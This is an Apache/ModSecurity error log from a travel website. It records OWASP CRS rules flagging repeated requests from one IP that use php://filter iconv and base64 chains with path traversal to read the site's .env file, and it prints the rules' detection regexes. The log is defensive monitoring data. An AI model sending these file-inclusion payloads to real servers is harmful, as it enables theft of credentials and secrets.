[Fri Jul 17 08:55:11.302921 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=9Nnn0TuQyHUbKWfCb8flIKfh8SgMCF1vexhLnu4G7KUCLFLDiLyqyxrlnFkYA-1iExwoKCvjaOZ0P5jLEe1YDQ2vADgzkS3CsC6nVAQbHlo9UmGFSJyJEUPsT0J7tnfkoy7k6Xaux8uYzHYZmz7gL_o6EPupgZ2HUr43ytGg4iLmLQR4zcmb-eRgAMkebrWIT1sSpBuKvD7cg-5fzoFTUkFj1HPaXpuLZHttKjHEVOLm2oO5V3XWdBE6BTpVRlRAyZIoAnRkrUGvQ2u7nJPiCiDu&sid=H2VMX6YKI6XFWGI25VAUWMCZEGUKLFFRXR7BBEX2H..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.302965 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.303024 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=9Nnn0TuQyHUbKWfCb8flIKfh8SgMCF1vexhLnu4G7KUCLFLDiLyqyxrlnFkYA-1iExwoKCvjaOZ0P5jLEe1YDQ2vADgzkS3CsC6nVAQbHlo9UmGFSJyJEUPsT0J7tnfkoy7k6Xaux8uYzHYZmz7gL_o6EPupgZ2HUr43ytGg4iLmLQR4zcmb-eRgAMkebrWIT1sSpBuKvD7cg-5fzoFTUkFj1HPaXpuLZHttKjHEVOLm2oO5V3XWdBE6BTpVRlRAyZIoAnRkrUGvQ2u7nJPiCiDu&sid=H2VMX6YKI6XFWGI25VAUWMCZEGUKLFFRXR7BBEX2HYWHVQPJT7VYHQV6BYJWZ6ICCNUTX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.303107 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=9nnn0tuqyhubkwfcb8flikfh8sgmcf1vexhlnu4g7kuclfldilyqyxrlnfkya-1iexwokcvjaoz0p5jlee1ydq2vadgzks3csc6nvaqbhlo9umgfsjyjeupst0j7tnfkoy7k6xaux8uyzhyzmz7gl_o6epupgz2hur43ytgg4ilmlqr4zcmb-ergamkebrwit1sspbukvd7cg-5fzoftukfj1hpaxpulzhttkjhevolm2oo5v3xwdbe6btpvrlrayzioanrkrugvq2u7njpicidu&sid=h2vmx6yki6xfwgi25vauwmczeguklffrxr7bbex2hywhvqpjt7vyhqv6byjwz6iccnutx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.303138 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.303167 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.303493 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.303569 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.303572 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.303707 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.303707 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.303990 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.304010 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.304482 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.304580 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.304827 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95xQAAAAw"]
[Fri Jul 17 08:55:11.305213 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&sid=mI9021vJs1_igsgIqZI-cGPmj5C81cmhyZOfnZywQsUBuRgM84jy8CTOE3Yuex50U3JfMsxZwTCd53ymyoZlHY3Th388IcXdlq7DYo1KvmmYqBH5NiYRlwvx11d4Z-2qcSTvu8WzWakKaIobWgau6YR9PFnCZWZPRUufEoRadHCsetuIwpTW2ZUr8wdWbWh0zJlMAgBFiJtsjBlgoBuFqggS_J_IWNQO1n4aP0LtotaJ0JMFImOC3fe3H-ms2kvwtH-5acb12Tg5TD0OWXJw5I76&debug=76CPZ2CN7W2NI535NA6PEIV4U2J7W5DLRMCAWZHTNBSSEJGSUIYF62BXXT54SAPHH2GVWMJT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.305251 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.305308 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=mI9021vJs1_igsgIqZI-cGPmj5C81cmhyZOfnZywQsUBuRgM84jy8CTOE3Yuex50U3JfMsxZwTCd53ymyoZlHY3Th388IcXdlq7DYo1KvmmYqBH5NiYRlwvx11d4Z-2qcSTvu8WzWakKaIobWgau6YR9PFnCZWZPRUufEoRadHCsetuIwpTW2ZUr8wdWbWh0zJlMAgBFiJtsjBlgoBuFqggS_J_IWNQO1n4aP0LtotaJ0JMFImOC3fe3H-ms2kvwtH-5acb12Tg5TD0OWXJw5I76&debug=76CPZ2CN7W2NI535NA6PEIV4U2J7W5DLRMCAWZHTNBSSEJGSUIYF62BXXT54SAPHH2GVWMJTKCEP5CDBPANDO37JJ4DK4NVHV6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.305337 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=mi9021vjs1_igsgiqzi-cgpmj5c81cmhyzofnzywqsuburgm84jy8ctoe3yuex50u3jfmsxzwtcd53ymyozlhy3th388icxdlq7dyo1kvmmyqbh5niyrlwvx11d4z-2qcstvu8wzwakkaiobwgau6yr9pfnczwzpruufeoradhcsetuiwptw2zur8wdwbwh0zjlmagbfijtsjblgobufqggs_j_iwnqo1n4ap0ltotaj0jmfimoc3fe3h-ms2kvwth-5acb12tg5td0owxjw5i76&debug=76cpz2cn7w2ni535na6peiv4u2j7w5dlrmcawzhtnbssejgsuiyf62bxxt54saphh2gvwmjtkcep5cdbpando37jj4dk4nvhv6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.305372 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.305402 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.305812 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.306882 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.306983 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.307433 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=C57sOGN6w_8TRwaLZvLtZQRiawmQQa9Tvf0WLKuiVSrX2NDjvqZc6Bt3vLUhv_RAQxoOKlRDTBLyg2JesVb_9JOd1w4e1Vy9jri9KhcLRhjnAv28rTHGYMYAB-7Z8d6Cv5lu-YuWgYtoFiV-2b7-VJBZpaYhvbz--S3nBTwumPCD0y-DclAn9IuXFxE2WUIxeZa1F_TaJX9tHbhpvodHdjPk0o1HwxszzGw7S3BoIJogLSZRYh6CLmNImc3MVd9LOy8KA7YTGAhkSxW_-GXaMOON&ts=XMREX3M42S25NSTTKBVMWK5R3ST2BRXQX26JXXFQLEUCG7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.307469 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.307521 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&token=C57sOGN6w_8TRwaLZvLtZQRiawmQQa9Tvf0WLKuiVSrX2NDjvqZc6Bt3vLUhv_RAQxoOKlRDTBLyg2JesVb_9JOd1w4e1Vy9jri9KhcLRhjnAv28rTHGYMYAB-7Z8d6Cv5lu-YuWgYtoFiV-2b7-VJBZpaYhvbz--S3nBTwumPCD0y-DclAn9IuXFxE2WUIxeZa1F_TaJX9tHbhpvodHdjPk0o1HwxszzGw7S3BoIJogLSZRYh6CLmNImc3MVd9LOy8KA7YTGAhkSxW_-GXaMOON&ts=XMREX3M42S25NSTTKBVMWK5R3ST2BRXQX26JXXFQLEUCG7CMSSH62C7GXFXCOZMKVME44PNS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
